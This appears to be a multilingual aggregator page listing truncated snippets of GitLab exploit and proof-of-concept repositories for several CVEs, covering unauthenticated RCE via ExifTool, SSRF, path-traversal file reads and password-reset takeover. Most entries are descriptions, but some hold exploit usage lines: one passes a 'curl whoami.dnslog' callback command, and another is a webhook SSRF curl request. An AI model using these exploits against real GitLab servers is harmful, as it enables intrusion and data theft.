CVE-2021-22205

脆弱性の影響 GitLab CE/EE の 11.9 以降のすべてのバージョンにおいて、問題が発見されました。GitLab はファイルパーサーに渡された画像ファイルを適切に検証していなかったため、リモートコマンド実行が発生しました。 脆弱性のある製品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 環境 root@kitploit: export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com ...

CVE-2021-22214

CVE-2021-22214 説明 - CVE-2021-22214のPoC: Gitlab CI Lint APIの未承認SSRF脆弱性 - 作成者: antx, 作成日: 2021-11-01. 詳細 - 内部ネットワークへのWebhookリクエストが有効な場合、GitLab CE/EE（バージョン10.5以降のすべてのバージョンに影響）において、登録が制限されているGitLabインスタンスでも、認証されていない攻撃者がサーバーサイドリクエストフォージェリ（SSRF）脆弱性を悪用できる可能性があります。 CVE深刻度 - attackComplexity: HIGH -...

CVE-2021-22205

CVE-2021-22205 影响版本： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" 获取csrf-token： 通过 /users/signin 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求，最终rce ref:...

CVE-2023-2825-PoC

CVE-2023-2825-PoC CVE-2023-2825 の概念実証（PoC）です。CVE-2023-2825 は GitLab CE/EE 16.0.0 における任意ファイル読み取りの脆弱性です。 このスクリプトは、有効な GitLab アカウントでログインし、必要な公開ネストグループ構造を作成し、公開プロジェクトを作成し、アタッチメントをアップロードし、脆弱なアップロードパス・トラバーサル動作を利用して GitLab サーバーからターゲットファイルを読み取ります。...

CVE-2023-7028

CVE-2023-7028 在 GitLab CE/EE 中发现了一个问题，影响所有从 16.1 到 16.1.6 之前、16.2 到 16.2.9 之前、16.3 到 16.3.7 之前、16.4 到 16.4.5 之前、16.5 到 16.5.6 之前、16.6 到 16.6.4 之前以及 16.7 到 16.7.2 之前的版本。该问题导致用户账户的密码重置邮件可能被发送到未经验证的电子邮件地址。 PoC 已在 Kali 2023.3 上测试 在 Docker 中安装 GitLab 16.7.0-ee sudo docker pull...

GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 这是一个Python3程序，用于利用GitLab认证RCE漏洞，即CVE-2022-2884。 免责声明 该工具旨在供安全工程师和应用安全专家进行安全评估。请负责任地使用此工具。我不对任何人使用此应用程序的方式负责。我对因使用此工具造成的任何损害或任何犯罪行为概不负责。 漏洞信息 CVE-ID ：CVE-2022-2884 链接 ：https://vulners.com/cve/CVE-2022-2884 描述 ：GitLab CE/EE...

CVE-2023-2825

CVE-2023-2825 未認証 ディレクトリトラバーサルによりファイル読み取りが可能になります。 CVEの概要 GitLab CE/EE のバージョン 16.0.0 のみに影響する問題が発見されました。未認証の悪意のあるユーザーが、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合、パストラバーサルの脆弱性を利用してサーバー上の任意のファイルを読み取ることができます。 影響を受けるバージョン Gitlab Gitlab 16.0.0 コミュニティエディション Gitlab Gitlab 16.0.0 エンタープライズエディション 特記事項...

CVE-2021-22205

CVE-2021-22205 説明 - CVE-2021-22205 の POC: Gitlab CE/EE RCE 未認証リモートコード実行脆弱性 POC && EXP - antx により 2021-10-29 に作成。 詳細 - GitLab CE/EE の 11.9 以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、リモートコマンド実行につながっていました。 CVE 重大度 - attackComplexity: LOW - attackVector: NETWORK -...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 この脆弱性は、パスワードリセット時のメール検証の処理方法に起因するバグによって発生しました。攻撃者はパスワードリセットリクエスト時に2つのメールアドレスを提供し、リセットコードが両方のアドレスに送信される可能性がありました。これにより、攻撃者はユーザーの現在のパスワードを知らなくても、任意のユーザーのパスワードをリセットできました。 影響を受けるバージョン 以下のバージョンを使用するGitLab CE/EEの全インスタンスが影響を受けました： 16.1 ～ 16.1.5 16...

CVE-2021-22205

CVE-2021-22205 通过 Gitlab CE/EE 上的 exiftool 实现预认证远程代码执行 CVE 概要 GitLab 使用 ExifTool 扫描每个 tiff/jpeg/jpg 文件，以移除任何未列入白名单的标签。 但由于 ExifTool 并不根据文件扩展名来判断文件类型，而是根据文件内容，这使得攻击者可以上传任意文件，将其重命名为 tiff/jpeg/jpg 后缀，并"滥用" ExifTool 支持的任何解析器。 在解析 DjVu 文件时，ExifTool 会评估 DjVu 注释令牌以转换 C 转义序列。 受影响版本 Gitlab CE/EE = 11.9 =...

CVE-2021-22205

CVE-2021-22205 GitLabは、ファイルパーサーに渡される画像ファイルを正しく検証していないため、コマンド実行が可能になっています。攻撃者は悪意のあるリクエストを構築してこの脆弱性を利用することで、対象システム上で任意のコマンドを実行し、最終的にGitLabサーバーを制御することができます。ネット上に公開されているスクリプトの多くはリバースシェル機能が不足しているため、公開スクリプトを修正し、ワンクリックでgetshellできる機能を追加しました。 影響を受けるバージョン 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/EE）...

CVE-2021-4191-EXPLOIT

CVE-2021-4191 - GitLab ユーザー列挙 GitLabは、Gitリポジトリマネージャーを提供し、継続的インテグレーション、課題追跡、コードレビューなどの機能を統合した、広く利用されているWebベースのDevOpsライフサイクルツールです。GraphQL APIは、プログラム的にGitLabと対話し、さまざまな操作を実行できる強力なインターフェースです。 GitLab CVE-2021-4191脆弱性は、特定のバージョンのGitLabにおけるGraphQL...

CVE-2022-2992

CVE-2022-2992 GitlabでのGitHubインポートを介した認証済みリモートコマンド実行 GitLab CE/EEの全バージョン（11.10から15.1.6未満、15.2から15.2.4未満、15.3から15.3.2未満）に影響する脆弱性により、認証されたユーザーがGitHubインポートAPIエンドポイントを介してリモートコードを実行できます。...

CVE-2021-22205

脆弱性の影響 GitLab CE/EE のバージョン11.9以降に影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、リモートコマンド実行が発生していました。 脆弱性の影響を受ける製品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 環境 root@kitploit: export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publis...

CVE-2026-85706

CVE-2026-85706 — GitLab 未认证任意文件读取 仅供授权渗透测试和红队行动使用。 未经授权的使用构成刑事犯罪。请参阅法律声明。 概述 CVE-2026-85706 是 GitLab 社区版和企业版中的一个 CVSS 10.0 路径遍历漏洞，允许完全未认证的攻击者 通过单个 HTTP 请求从服务器文件系统读取任意文件 。无需凭据、无需令牌、无需用户交互。 披露日期： 2026 年 9 月 10 日 首次观测到利用： 2026 年 9 月 11 日（披露后 6 小时内） 加入 CISA KEV： 2026 年 9 月 11 日 修复版本： GitLab 19.1.8 /...

CVE-2026-85706-gitlab-poc

CVE-2026-85706 描述 GitLab CE/EE 未认证任意文件读取漏洞（CVE-2026-85706）。 受影响版本： GitLab CE/EE 18.7 – 19.1.7 GitLab CE/EE 19.2.0 – 19.2.5 GitLab CE/EE 19.3.0 – 19.3.1 已修复版本： GitLab 19.1.8 GitLab 19.2.6 GitLab 19.3.2 漏洞详情 该漏洞存在于 GitLab 的 Workhorse 组件中。Workhorse 的正则表达式看到的是编码后的路径，而 Puma 会对其进行解码。Rails 的...

gitread

gitread CVE-2026-85706 的概念验证，这是一个影响自管理 GitLab CE/EE 的未认证任意文件读取漏洞。 | ---|--- CVE| CVE-2026-85706 CVSS| 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N 受影响版本| 18.7 至 19.1.7、19.2.0 至 19.2.5、19.3.0 至 19.3.1 修复版本| 19.1.8 / 19.2.6 / 19.3.2（发布于 2026-09-10） 组件| Repository Commits API / Files API（Workhorse...

CVE-2022-2992

CVE-2022-2992 GitHubインポートを介したGitlabにおける認証済みリモートコマンド実行 GitLab CE/EEのバージョン11.10から15.1.6まで、15.2から15.2.4まで、15.3から15.3.2までの全バージョンに影響する脆弱性により、認証されたユーザーが「Import from GitHub API」エンドポイントを介してリモートコード実行を達成できます。...

Review.CVE-2023-5612

CVE-2023-5612 – GitLab SSRF（Webhook URL経由）のPoCと解析 📌 CVE概要 CVE-ID: CVE-2023-5612 深刻度: 高 CVSS基本スコア: 8.1 タイプ: サーバーサイドリクエストフォージェリ SSRF コンポーネント: GitLab CE/EE Webhook 影響を受けるバージョン: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888" \ http://:8080/api/v4/projects//hooks 🧱 環境とセットアップ...